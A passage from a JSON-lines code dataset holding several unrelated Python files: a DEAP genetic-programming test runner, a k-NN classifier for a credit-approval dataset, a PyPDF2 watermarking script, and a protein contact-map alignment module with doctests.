raise ValueError\n\n if len(input_args)>1 and int(input_args[1].strip()) not in (4, 5, 6, 15, 21):\n raise ValueError\n\n # Everything is fine \n break\n\n except ValueError:\n print(\"Sorry your entry is wrong, try again!\")\n\n # Reading Type and Depth Values\n type = input_args[0]\n depth = int(input_args[1])\n\n # Default Range Value if not passed\n range_val = 0\n if type in ('mod'):\n if len(input_args) > 2:\n range_val = float(input_args[2])\n else:\n range_val = 0.5\n\n # Default Champion if not passed\n champion = \"champion_1\"\n if len(input_args) > 3:\n champion = input_args[3]\n \n # Default Number of tests if not passed\n num_test = 50\n if len(input_args) > 4:\n num_test = int(input_args[4])\n\n # Default Noise and generalize\n noise, generalize = 10, True\n if len(input_args) > 5:\n noise = int(input_args[5])\n generalize = False\n\n return type, depth, range_val, champion, num_test, generalize, noise\n\n'''\nProblem setup\n'''\n\n# Generate Random Data\ndef generate_data(noise, depth, range_val, num_tests, generalize):\n retval = []\n for _ in range(num_tests):\n sequence = []\n sequence.append(random.choice((-1.0, 1.0)))\n noise = 10 if not generalize else random.randint(10, 20)\n for _ in range(depth - 1):\n sequence.extend([random.uniform(-range_val,range_val) for _ in range(noise)])\n sequence.append(random.choice((-1.0, 1.0)))\n retval.append(sequence)\n return retval\n\n# Generate Classification based on dataset\ndef generate_output(dataset, type):\n retval = []\n for i in range(num_tests):\n data = dataset[i]\n sequence = []\n counter = 0\n for el in data:\n if type == 'mod':\n if el == 1 or el == -1:\n counter += el\n else:\n counter += el\n sequence.append(-1 if counter < 0 else 1)\n retval.append(sequence)\n return retval\n\n# Generate expected GP Action based on Dataset\ndef generate_action(dataset, type):\n retval = []\n for i in range(num_tests):\n data = dataset[i]\n sequence = []\n MEMORY = []\n if type == 'mod':\n for el in data:\n if el != 1 and el != -1:\n sequence.append(2)\n else:\n if len(MEMORY) == 0 or MEMORY[len(MEMORY)-1] == el:\n sequence.append(0)\n MEMORY.append(el)\n else:\n sequence.append(1)\n MEMORY.pop()\n else:\n for el in data:\n if el == 0:\n sequence.append(2)\n else:\n if len(MEMORY) == 0 or MEMORY[len(MEMORY)-1] == el:\n sequence.append(0)\n MEMORY.append(el)\n else:\n sequence.append(1)\n MEMORY.pop()\n retval.append(sequence)\n return retval\n\n'''\n Begining of DEAP Structure\n'''\n\n# Define a protected division function\ndef protected_div(left, right):\n try:\n return left / right\n except ZeroDivisionError:\n return 1\n\n# Define a new if-then-else function\ndef if_then_else(input, output1, output2):\n if input:\n return output1\n else:\n return output2\n\ndef create_gp(type):\n # defined a new primitive set for strongly typed GP\n pset = gp.PrimitiveSetTyped(\"MAIN\", itertools.repeat(float, 2), float)\n\n if type in (\"std\", \"vec\", \"mod\"):\n pset.addPrimitive(operator.add, [float, float], float)\n pset.addPrimitive(operator.sub, [float, float], float)\n pset.addPrimitive(protected_div, [float, float], float)\n\n if type == \"mul\":\n pset.addPrimitive(operator.add, [float, float], float)\n pset.addPrimitive(operator.sub, [float, float], float)\n pset.addPrimitive(operator.mul, [float, float], float)\n\n if type == \"log\":\n # boolean operators\n pset.addPrimitive(operator.and_, [bool, bool], bool)\n pset.addPrimitive(operator.or_, [bool, bool], bool)\n pset.addPrimitive(operator.not_, [bool], bool)\n pset.addPrimitive(operator.mul, [float, float], float)\n pset.addPrimitive(operator.lt, [float, float], bool)\n pset.addPrimitive(operator.eq, [float, float], bool)\n pset.addPrimitive(protected_div, [float, float], float)\n pset.addPrimitive(if_then_else, [bool, float, float], float)\n\n # terminals\n pset.addEphemeralConstant(\"rand100\", lambda: random.random() * 100, float)\n pset.addTerminal(False, bool)\n pset.addTerminal(True, bool)\n\n creator.create(\"FitnessMax\", base.Fitness, weights=(1.0,))\n creator.create(\"Individual\", gp.PrimitiveTree, fitness=creator.FitnessMax)\n\n toolbox = base.Toolbox()\n toolbox.register(\"expr\", gp.genHalfAndHalf, pset=pset, min_=1, max_=2)\n toolbox.register(\"compile\", gp.compile, pset=pset)\n return toolbox\n\nif __name__ == \"__main__\":\n\n # Const variables\n local_dir = os.path.dirname(__file__)\n champ_path = os.path.join(local_dir, 'champions/')\n\n # Get input from terminal\n type, depth, range_val, champion, num_tests, generalize, noise = get_args()\n\n # Generate Data\n data_validation = generate_data(noise, depth, range_val, num_tests, generalize)\n labels_validation = generate_output(data_validation, type)\n actions_validation = generate_action(data_validation, type)\n \n # Create GP\n toolbox = create_gp(type)\n \n # Load Champion\n champ_name = champ_path + str(depth) + '_champions_' + type\n with open(champ_name, 'rb') as f:\n champions = pickle.load(f)\n print(\"loaded champions\")\n\n hof1, hof2, hof3, hof4 = champions[champion]\n\n \n # Running Test on unseen data and checking results\n print(\"\\n==================\")\n print(\"Begin Testing ....\")\n print(\"==================\\n\")\n\n # Transform the tree expression in a callable function\n tree1 = toolbox.compile(expr=hof1)\n tree2 = toolbox.compile(expr=hof2)\n tree3 = toolbox.compile(expr=hof3)\n tree4 = toolbox.compile(expr=hof4)\n\n # Evaluate the sum of correctly identified\n predictions, predict_actions = [],[]\n # Evaluate the sum of correctly identified\n for i in range(num_tests):\n data = data_validation[i]\n MEMORY, classification, actions = [], [], []\n counter = 0\n length = len(data)\n for j in range(length):\n # If stack is empty then 0, else the value on top of stack\n stack_output = MEMORY[counter - 1] if counter > 0 else 0\n\n arg1 = tree1(data[j],stack_output)\n arg2 = tree2(data[j],stack_output)\n arg3 = tree3(data[j],stack_output)\n arg4 = tree4(data[j],stack_output)\n pos = np.argmax([arg1, arg2, arg3, arg4])\n\n # Action has been decided\n temp = 1 if stack_output >= 0 else -1\n actions.append(pos)\n if pos == 0:\n MEMORY.append(data[j])\n temp = data[j]\n counter += 1\n elif pos == 1:\n MEMORY.pop()\n counter -= 1\n stack_output = MEMORY[counter - 1] if counter > 0 else 0\n temp = 1 if stack_output >= 0 else -1\n else:\n temp = 1 if stack_output >= 0 else -1\n \n # Add to classification\n classification.append(temp)\n\n predictions.append(classification)\n predict_actions.append(actions)\n\n # Evaluate predictions\n total_accuracy = 0\n for i in range(num_tests):\n accuracy = accuracy_score(labels_validation[i], predictions[i])\n print(\"Test #{} Accuracy: {}\".format(i, accuracy))\n total_accuracy += accuracy\n \n print(\"------------------------\")\n print(\"Total Accuracy: {}\".format(total_accuracy/num_tests))","repo_name":"Mihyar-30614/Genetic-Programming-Benchmarking-Deep-Memory-Tasks","sub_path":"DEAP/Sequence Classification/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":10079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11584406338","text":"'''\nIntegrantes\nEnrique Emanuel Rezende Tavares da Silva - 11796090\nGuilherme Dias Jimenes - 11911021\nRonald Cosmo de Sousa - 11909783\n'''\n\nimport csv\nimport re\nimport random\nfrom copy import deepcopy\nfrom math import sqrt\n\n\ndef knn(training_data:list[dict], query_point:dict, num_of_neighbors:int):\n\t'''\n\tReturns a tuple where the first element is the euclidian distance between the query point and a training point\n\tand the second element is the index of the training point in the dataset\n\t'''\n\tdef make_distance_tuple(y, ind_y) : return (euclidian_dist(query_point, y), ind_y)\n\n\tdistances_from_query_point = list(\n\t\tmap(\n\t\t\tmake_distance_tuple,\n\t\t\ttraining_data,\n\t\t\trange(0, len(training_data))\n\t\t)\n\t)\n\n\tdef get_distance(dist_tuple) : return dist_tuple[0]\n\tdef get_point_index(dist_tuple) : return dist_tuple[1]\n\tdef get_point_from_dataset(point_index) : return training_data[point_index]\n\tdef get_class_of_point(point) : return point[\"a16\"]\n\n\tsorted_distances = sorted(distances_from_query_point, key=get_distance)\n\tk_nearest_neighbors_index = map(get_point_index, sorted_distances[:num_of_neighbors])\n\tk_nearest_neighbors = map(get_point_from_dataset, k_nearest_neighbors_index)\n\n\tknn_classes = list(map(get_class_of_point, k_nearest_neighbors))\n\tplus_class_occurrences = knn_classes.count(\"+\")\n\tminus_class_occurrences = knn_classes.count(\"-\")\n\treturn \"+\" if plus_class_occurrences > minus_class_occurrences else \"-\"\n\n\n'''\nCalculates the euclidian distance between two vectors (`a` and `b`)\n'''\ndef euclidian_dist(a:dict, b:dict) -> float:\n\tcols = list(a)\n\t# Removing class column because its value is a string\n\tcols.remove(\"a16\")\n\tsum_of_squared_diffs = 0\n\tfor col in cols:\n\t\tcomp_a = a[col]\n\t\tcomp_b = b[col]\n\t\tsum_of_squared_diffs = sum_of_squared_diffs + ( (comp_a - comp_b) ** 2 )\n\treturn sqrt(sum_of_squared_diffs)\n\n\n'''\nReturns a list of dicts corresponding to the dataset.\n\nFor example, from the following .csv:,\n\n\t\tfirst_name,last_name\n\t\tJohn, Cleese\n\t\tTerry, Gilliam\n\nthe first row of the dataset would look like this:\n\n\t{'first_name': 'John', 'last_name': 'Cleese'}\n\nAnd the whole dataset would look like this:\n\n\t[\n\t\t{'first_name': 'John', 'last_name': 'Cleese'} ,\n\t\t{'first_name': 'Terry', 'last_name': 'Gilliam'}\n\t]\n\n'''\ndef read_dataset():\n\tprint(\"Reading dataset `Credit Approval`\")\n\twith open('data/crx.data', 'r') as file:\n\t\treader = csv.DictReader(file)\n\t\tdata = []\n\t\tfor row in reader:\n\t\t\tdata.append(row)\n\treturn data\n\n'''\nRemove the dataset's NA (missing) values by looking which values are equal to `?`.\n'''\ndef remove_null(dataset):\n dado_limpo = []\n for row in dataset:\n # Check if the line contains any value with \"?\"\n if re.search(r'\\?', str(row.values())):\n continue\n dado_limpo.append(row)\n return dado_limpo\n\n\"\"\"\nConvert categorical attributes into dummy variables (one-hot encoding)\n\"\"\"\ndef one_hot_encoding(dataset: dict, column: str):\n\n\tcategories = set()\n\n\t# Discover categories\n\tfor row in dataset:\n\t\tif row[column] not in categories:\n\t\t\tcategories = categories | { row[column] }\n\n\t# create new column for each category discovered\n\tfor row in dataset:\n\t\tfor category in categories:\n\t\t\tnew_col_name = f\"{column}_{category}\"\n\t\t\tvalue = row[column]\n\t\t\trow[new_col_name] = int(value == category)\n\t\trow.pop(column)\n\n\treturn dataset\n\n\ndef one_hot_encode_all_columns(dataset) :\n\tprint(\"One-hot encoding columns a1, a4, a5, a6, a7, a10, a12, a13\")\n\tto_encode = deepcopy(dataset)\n\tone_hot_encoding(to_encode, \"a1\")\n\tone_hot_encoding(to_encode, \"a4\")\n\tone_hot_encoding(to_encode, \"a5\")\n\tone_hot_encoding(to_encode, \"a6\")\n\tone_hot_encoding(to_encode, \"a7\")\n\tone_hot_encoding(to_encode, \"a9\")\n\tone_hot_encoding(to_encode, \"a10\")\n\tone_hot_encoding(to_encode, \"a12\")\n\tone_hot_encoding(to_encode, \"a13\")\n\treturn to_encode\n\n\n\n\"\"\"\nDivides the data into a set of training data (70%) and a set of query data (30%).\nReturns a tuple (training_data, query_data)\n\"\"\"\ndef divide_data(dataset):\n\tprint(\"Dividing data intro training and query sets\")\n\tdataset_size = len(dataset)\n\ttarget_training_quantity = int( 0.7 * dataset_size )\n\ttraining_data = random.choices(dataset, k=target_training_quantity)\n\tquery_data = [row for row in dataset if row not in training_data]\n\treturn training_data, query_data\n\n\n\"\"\"\nNormalizes the dataset by diving each value on a column by the maximum value of\nthat column found in the dataset\n\"\"\"\ndef normalize_dataset(dataset):\n\tprint(\"Normalizing scale of columns with continuous numbers\")\n\tdataset = remove_null(dataset)\n\tmax_values = {}\n\tfor row in dataset:\n\t\tfor key, value in row.items():\n\t\t\ttry:\n\t\t\t\tvalue = float(value) #converts\n\t\t\texcept ValueError: #in case of conversion failure\n\t\t\t\tcontinue\n\t\t\tif key not in max_values or value > max_values[key]:\n\t\t\t\tmax_values[key] = value\n\n\tfor row in dataset:\n\t\tfor key, value in row.items():\n\t\t\ttry:\n\t\t\t\tvalue = float(value)\n\t\t\texcept ValueError:\n\t\t\t\tcontinue\n\t\t\trow[key] = value / max_values[key] #division\n\n\treturn dataset\n\n\"\"\"\nCalculates the accuracy of running k-NN\n\"\"\"\ndef accuracy(points, predicted_values) :\n\tprint(\"Calculating accuracy of k-NN implemented\")\n\tnum_of_points = len(points)\n\ttrue_predictions = 0\n\n\tfor point, prediction in zip(points, predicted_values):\n\t\t# a16 is the column name which contain the classes categories.\n\t\tif point[\"a16\"] == prediction:\n\t\t\ttrue_predictions = true_predictions + 1\n\n\treturn true_predictions / num_of_points\n\n\"\"\"\nRuns k-NN on the `Credit Approval` dataset, making sure that before running:\n\t1 - All null data is removed;\n\t2 - Categorical data is one-hot encoded\n\t3 - All numeric values are normalized\n\t4 - k-NN is trained on 70% of the full dataset\n\nAfter running the algorithm, it outputs to STDOUT the accuracy obtained from querying 30% of the data against the\ntraining data and comparing expected classes X predicted classes.\n\"\"\"\ndef main() :\n\tneighbors = 100\n\tdata = read_dataset()\n\tnormalized_data = normalize_dataset(data)\n\tencoded_data = one_hot_encode_all_columns(normalized_data)\n\ttraining_data, query_data = divide_data(encoded_data)\n\n\tpredictions = []\n\tfor query_point in query_data:\n\t\tpredicted_class = knn(training_data, query_point, neighbors)\n\t\tpredictions.append(predicted_class)\n\taccuracy_knn = accuracy(query_data, predictions)\n\n\tprint(f\"Accuracy of KNN with k={neighbors} is {accuracy_knn}\")\n\n\nif (__name__ == \"__main__\") : main()\n","repo_name":"Oiapokxui/tarefas-ia","sub_path":"tarefa1/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":6340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11948637723","text":"import PyPDF2\nimport sys\n# combined the 3 pdf\n# pdf.py dummy.pdf twopage.pdf tilt.pdf\n\n# inputs = sys.argv[1:]\n\n# def pdf_combiner(pdf_list):\n# for pdf in pdf_list:\n# print(pdf)\n\n# pdf_combiner(inputs)\n\n# PS C:\\Users\\Mohamed Bee\\Desktop\\Python_w_Udemy\\Section17_Scripting with Python\\PDF> python Exo.py dummy.pdf twopage.pdf tilt.pdf\n# output\n# dummy.pdf\n# twopage.pdf\n# tilt.pdf\n\n\n# that is bcz there is the merger obj.\n\n# inputs = sys.argv[1:]\n\n# def pdf_combiner(pdf_list):\n# merger=PyPDF2.PdfFileMerger()\n# for pdf in pdf_list:\n# print(pdf)\n# merger.append(pdf)\n# merger.write('super.pdf')\n \n# pdf_combiner(inputs)\n\n# type all that then enter\n# PS C:\\Users\\Mohamed Bee\\Desktop\\Python_w_Udemy\\Section17_Scripting with Python\\PDF> python Exo.py dummy.pdf twopage.pdf tilt.pdf\n\n# output\n# dummy.pdf\n# twopage.pdf\n# tilt.pdf\n# and then run the program\n\n\ntemplate = PyPDF2.PdfFileReader(open('super.pdf', 'rb'))\nwatermark = PyPDF2.PdfFileReader(open('wtr.pdf', 'rb'))\noutput= PyPDF2.PdfFileWriter()\n\nfor i in range(template.getNumPages()):\n page= template.getPage(i)\n page.mergePage(watermark.getPage(0))\n output.addPage(page)\n \n with open('watermarked_output.pdf', 'wb') as file:\n output.write(file)\n \n \n \n# output pages are watermarked\n ","repo_name":"MBee05/Section17_Scripting-with-Python","sub_path":"PDF/Exo.py","file_name":"Exo.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"32373363900","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.spatial.distance as scidist\nimport tqdm\nimport cwrap\nimport PDBloader\nimport eigen\n\n\ndef get_dmat(coords):\n dmat = scidist.pdist(coords)\n dmat = scidist.squareform(dmat)\n return dmat\n\n\ndef get_cmap(dmat, thr=8., sep_cut=2):\n \"\"\"\n >>> cmd.reinitialize()\n >>> cmd.load('data/3u97_A.pdb', 'A_')\n >>> coords = cmd.get_coords('A_ and polymer.protein and chain A and name CA')\n >>> cmap = get_cmap(get_dmat(coords[:8]), sep_cut=0)\n >>> cmap\n array([[False, True, True, True, False, False, False, False],\n [ True, False, True, True, True, False, False, False],\n [ True, True, False, True, True, True, False, False],\n [ True, True, True, False, True, True, False, False],\n [False, True, True, True, False, True, True, False],\n [False, False, True, True, True, False, True, True],\n [False, False, False, False, True, True, False, True],\n [False, False, False, False, False, True, True, False]])\n >>> cmap = get_cmap(get_dmat(coords[:8]), sep_cut=2)\n >>> cmap\n array([[False, False, False, True, False, False, False, False],\n [False, False, False, False, True, False, False, False],\n [False, False, False, False, False, True, False, False],\n [ True, False, False, False, False, False, False, False],\n [False, True, False, False, False, False, False, False],\n [False, False, True, False, False, False, False, False],\n [False, False, False, False, False, False, False, False],\n [False, False, False, False, False, False, False, False]])\n \"\"\"\n n, n = dmat.shape\n cmap = dmat <= thr\n for i in range(sep_cut + 1):\n mask = ~(np.logical_or(np.diag(np.ones(n - i, dtype=bool), k=i), np.diag(np.ones(n - i, dtype=bool), k=-i)))\n cmap = np.logical_and(cmap, mask)\n return cmap\n\n\ndef mapalign(cmap_a,\n cmap_b,\n sep_x_list=[0, 1, 2],\n sep_y_list=[1, 2, 3, 8, 16, 32],\n gap_e_list=[-0.2, -0.1, -0.01, -0.001],\n niter=20,\n progress=True,\n eigen_init=False,\n eigen_aln=False):\n \"\"\"\n >>> cmd.reinitialize()\n >>> cmd.load('data/3u97_A.pdb', 'A_')\n >>> cmd.load('data/2pd0_A.pdb', 'B_')\n >>> coords_a = cmd.get_coords('A_ and polymer.protein and chain A and name CA')\n >>> coords_b = cmd.get_coords('B_ and polymer.protein and chain A and name CA')\n >>> dmat_a = get_dmat(coords_a)\n >>> dmat_b = get_dmat(coords_b)\n >>> cmap_a = get_cmap(dmat_a)\n >>> cmap_b = get_cmap(dmat_b)\n >>> cmap_a.shape, cmap_b.shape\n ((88, 88), (215, 215))\n\n # Few minutes to run. Uncomment the following to test it!\n >>> aln, score, sep_x_best, sep_y_best, gap_e_best = mapalign(cmap_a, cmap_b)\n >>> aln\n array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,\n 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,\n 26, 27, 28, 29, 30, 31, 32, 33, 34, 44, 45, 46, 47,\n 48, 49, 51, 52, 53, 54, 55, 56, 57, 59, 60, 61, 103,\n 104, 105, 106, 107, 108, 109, 110, 111, 112, 119, 120, 121, 122,\n 123, 124, 125, 126, 127, 152, 153, 154, 155, 156, 157, 158, 159,\n 160, 161, 162, 163, 164, 165, 166, 167, 168, 169], dtype=int32)\n >>> aln.shape\n (88,)\n >>> score\n 407.2732985813753\n >>> sep_x_best, sep_y_best, gap_e_best\n (1, 16, -0.001)\n \"\"\"\n if eigen_aln:\n aln, score, gap_e_best = eigen.get_alignment(cmap_a,\n cmap_b,\n gap_extension_list=gap_e_list,\n niter=niter,\n progress=progress)\n sep_x_best, sep_y_best = None, None\n else:\n aln, score, sep_x_best, sep_y_best, gap_e_best = cwrap.get_alignment(cmap_a,\n cmap_b,\n sep_x_list=sep_x_list,\n sep_y_list=sep_y_list,\n gap_extension_list=gap_e_list,\n niter=niter,\n progress=progress,\n eigen_init=eigen_init)\n return aln, score, sep_x_best, sep_y_best, gap_e_best\n\n\ndef get_aln_b(aln_a, nb):\n \"\"\"\n >>> aln_a = np.asarray([ -1, -1, 0, 1, 2, 3, -1, -1, 4, 5, -1, -1, 6, 7, 8, 9, 10, 11, 12, 13, 14, 19, 20, 21, 22, 23, 31, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 116, 117, 118, 119, 120, 121, 122, 123, 124, 145, 146, 147, 148, 149, 150, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, -1, -1, -1])\n >>> aln_a.shape\n (88,)\n >>> aln_b = get_aln_b(aln_a, 215)\n >>> aln_b\n array([ 2., 3., 4., 5., 8., 9., 12., 13., 14., 15., 16., 17., 18.,\n 19., 20., -1., -1., -1., -1., 21., 22., 23., 24., 25., -1., -1.,\n -1., -1., -1., -1., -1., 26., -1., -1., -1., -1., 27., 28., 29.,\n 30., 31., 32., 33., 34., 35., 36., 37., 38., 39., 40., -1., -1.,\n -1., 41., 42., 43., 44., 45., 46., 47., 48., 49., 50., 51., 52.,\n 53., 54., 55., 56., 57., -1., -1., -1., -1., -1., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., 58.,\n 59., 60., 61., 62., 63., 64., 65., 66., -1., -1., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1.,\n -1., -1., 67., 68., 69., 70., 71., 72., -1., -1., -1., 73., 74.,\n 75., 76., 77., 78., 79., 80., 81., 82., 83., 84., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1., -1.,\n -1., -1., -1., -1., -1., -1., -1.])\n \"\"\"\n aln_b = -np.ones(nb)\n ai_aln = np.where(aln_a != -1)[0]\n bi_aln = aln_a[ai_aln]\n aln_b[bi_aln] = ai_aln\n return aln_b\n\n\ndef get_aligned_maps(cmap_a, cmap_b, aln, full=False):\n \"\"\"\n >>> cmd.reinitialize()\n >>> cmd.load('data/3u97_A.pdb', 'A_')\n >>> cmd.load('data/2pd0_A.pdb', 'B_')\n >>> coords_a = cmd.get_coords('A_ and polymer.protein and chain A and name CA')\n >>> coords_b = cmd.get_coords('B_ and polymer.protein and chain A and name CA')\n >>> dmat_a = get_dmat(coords_a)\n >>> dmat_b = get_dmat(coords_b)\n >>> cmap_a = get_cmap(dmat_a)\n >>> cmap_b = get_cmap(dmat_b)\n >>> cmap_a.shape, cmap_b.shape\n ((88, 88), (215, 215))\n >>> aln = np.asarray([ -1, -1, 0, 1, 2, 3, -1, -1, 4, 5, -1, -1, 6, 7, 8, 9, 10, 11, 12, 13, 14, 19, 20, 21, 22, 23, 31, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 116, 117, 118, 119, 120, 121, 122, 123, 124, 145, 146, 147, 148, 149, 150, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, -1, -1, -1])\n >>> aln.shape\n (88,)\n\n Returns the maps aligned in the frame of cmap_a\n >>> cmap_a_aln, cmap_b_aln = get_aligned_maps(cmap_a, cmap_b, aln)\n >>> cmap_a_aln.shape\n (79, 79)\n >>> cmap_a_aln.shape\n (79, 79)\n\n Returns the maps aligned in the frame of cmap_b\n >>> cmap_a_aln, cmap_b_aln = get_aligned_maps(cmap_a, cmap_b, aln, full=True)\n >>> cmap_a_aln.shape\n (215, 215)\n >>> cmap_b_aln.shape\n (215, 215)\n \"\"\"\n na, na = cmap_a.shape\n nb, nb = cmap_b.shape\n ai_aln = np.where(aln != -1)[0]\n bi_aln = aln[ai_aln]\n if not full: # Only get the aligned parts\n cmap_a_aln = cmap_a[ai_aln, :][:, ai_aln]\n cmap_b_aln = cmap_b[bi_aln, :][:, bi_aln]\n else: # get the FULL matrices with zeros in insertion regions\n if na <= nb:\n cmap_a_aln = np.zeros_like(cmap_b)\n cmap_a_aln[:na, :na] = cmap_a\n cmap_a_aln[bi_aln, :] = cmap_a_aln[ai_aln, :]\n cmap_a_aln[:, bi_aln] = cmap_a_aln[:, ai_aln]\n cmap_b_aln = cmap_b\n else:\n cmap_a_aln = cmap_a\n cmap_b_aln = np.zeros_like(cmap_a)\n cmap_b_aln[:nb, :nb] = cmap_b\n cmap_b_aln[ai_aln, :] = cmap_b_aln[bi_aln, :]\n cmap_b_aln[:, ai_aln] = cmap_b_aln[:, bi_aln]\n return cmap_a_aln, cmap_b_aln\n\n\ndef get_score(cmap_a, cmap_b, aln):\n \"\"\"\n The score is the number of contacts common in the two maps aligned over the total number of contacts for cmap_a\n >>> cmd.reinitialize()\n >>> cmd.load('data/3u97_A.pdb', 'A_')\n >>> cmd.load('data/2pd0_A.pdb', 'B_')\n >>> coords_a = cmd.get_coords('A_ and polymer.protein and chain A and name CA')\n >>> coords_b = cmd.get_coords('B_ and polymer.protein and chain A and name CA')\n >>> dmat_a = get_dmat(coords_a)\n >>> dmat_b = get_dmat(coords_b)\n >>> cmap_a = get_cmap(dmat_a)\n >>> cmap_b = get_cmap(dmat_b)\n >>> cmap_a.shape, cmap_b.shape\n ((88, 88), (215, 215))\n >>> aln = np.asarray([ -1, -1, 0, 1, 2, 3, -1, -1, 4, 5, -1, -1, 6, 7, 8, 9, 10, 11, 12, 13, 14, 19, 20, 21, 22, 23, 31, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 116, 117, 118, 119, 120, 121, 122, 123, 124, 145, 146, 147, 148, 149, 150, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, -1, -1, -1])\n >>> aln.shape\n (88,)\n >>> score = get_score(cmap_a, cmap_b, aln)\n >>> score\n 0.5838926174496645\n \"\"\"\n cmap_a_aln, cmap_b_aln = get_aligned_maps(cmap_a, cmap_b, aln, full=False)\n comm = np.logical_and(cmap_a_aln, cmap_b_aln)\n score = comm.sum() / cmap_a.sum() # min(cmap_a.sum(), cmap_b.sum())\n return score\n\n\ndef plot_aln(cmap_a, cmap_b, aln, full=False, outfilename=None):\n \"\"\"\n >>> cmd.reinitialize()\n >>> cmd.load('data/3u97_A.pdb', 'A_')\n >>> cmd.load('data/2pd0_A.pdb', 'B_')\n >>> coords_a = cmd.get_coords('A_ and polymer.protein and chain A and name CA')\n >>> coords_b = cmd.get_coords('B_ and polymer.protein and chain A and name CA')\n >>> dmat_a = get_dmat(coords_a)\n >>> dmat_b = get_dmat(coords_b)\n >>> cmap_a = get_cmap(dmat_a)\n >>> cmap_b = get_cmap(dmat_b)\n >>> cmap_a.shape, cmap_b.shape\n ((88, 88), (215, 215))\n >>> aln = np.asarray([ -1, -1, 0, 1, 2, 3, -1, -1, 4, 5, -1, -1, 6, 7, 8, 9, 10, 11, 12, 13, 14, 19, 20, 21, 22, 23, 31, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 116, 117, 118, 119, 120, 121, 122, 123, 124, 145, 146, 147, 148, 149, 150, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, -1, -1, -1])\n >>> aln.shape\n (88,)\n\n # >>> plot_aln(cmap_a, cmap_b, aln)\n # >>> plot_aln(cmap_a, cmap_b, aln, full=True)\n \"\"\"\n cmap_a_aln, cmap_b_aln = get_aligned_maps(cmap_a, cmap_b, aln, full=full)\n ai, aj = np.where(cmap_a_aln > 0)\n bi, bj = np.where(cmap_b_aln > 0)\n plt.scatter(bi, bj, s=16., c='gray', alpha=.5, label='cmap_b')\n plt.scatter(ai, aj, s=1., c='blue', label='cmap_a')\n plt.xticks([])\n plt.yticks([])\n plt.gca().set_aspect('equal', adjustable='box')\n plt.legend()\n if outfilename is not None:\n plt.savefig(outfilename)\n else:\n plt.show()\n\n\ndef batch_mapalign(cmap_a,\n logfilename,\n pdblist=[],\n pdbpath=None,\n num_workers=None,\n sep_x_list=[1],\n sep_y_list=[16],\n gap_e_list=[-0.001],\n eigen_init=False):\n \"\"\"\n >>> cmd.reinitialize()\n >>> cmd.load('data/3u97_A.pdb', 'A_')\n >>> coords_a = cmd.get_coords('A_ and polymer.protein and chain A and name CA')\n >>> dmat_a = get_dmat(coords_a)\n >>> cmap_a = get_cmap(dmat_a)\n >>> batch_mapalign(cmap_a, 'mapalign_batch.log', pdblist=['data/2pd0_A.pdb', 'data/3u97_A.pdb'])\n \"\"\"\n import torch\n import logging\n logging.basicConfig(filename=logfilename, level=logging.INFO, format='%(asctime)s: %(message)s')\n logging.info(f\"################ Starting {__file__} ################\")\n if num_workers is None:\n num_workers = os.cpu_count()\n logging.info(f\"num_workers: {num_workers}\")\n dataset = PDBloader.PDBdataset(pdbpath=pdbpath,\n pdblist=pdblist,\n cmap_a=cmap_a,\n sep_x_list=sep_x_list,\n sep_y_list=sep_y_list,\n gap_e_list=gap_e_list,\n logfilename=logfilename,\n eigen_init=eigen_init)\n dataloader = torch.utils.data.DataLoader(dataset,\n batch_size=1,\n shuffle=False,\n num_workers=num_workers,\n collate_fn=PDBloader.collate_fn,\n prefetch_factor=8)\n iterator = iter(dataloader)\n pbar = tqdm.tqdm(total=dataset.__len__())\n # for i, batch in enumerate(dataloader):\n for i in range(dataset.__len__()):\n try:\n batch = next(iterator)\n except RuntimeError:\n batch = [[(None, None, None, None, None)]]\n for b in batch:\n for chain_data in b:\n index, pdb, chain, score, native_contact = chain_data\n if index is not None:\n logging.info(f'{index} {pdb} {chain} {score:.4f} {native_contact:.4f}')\n pbar.update(1)\n pbar.close()\n\n\ndef log(msg):\n try:\n logging.info(msg)\n except NameError:\n pass\n\n\nif __name__ == '__main__':\n import sys\n import doctest\n import argparse\n from pymol import cmd\n # ### UNCOMMENT FOR LOGGING ####\n import os\n import PDBloader\n # ### ##################### ####\n # argparse.ArgumentParser(prog=None, usage=None, description=None, epilog=None, parents=[], formatter_class=argparse.HelpFormatter, prefix_chars='-', fromfile_prefix_chars=None, argument_default=None, conflict_handler='error', add_help=True, allow_abbrev=True, exit_on_error=True)\n parser = argparse.ArgumentParser(description='')\n # parser.add_argument(name or flags...[, action][, nargs][, 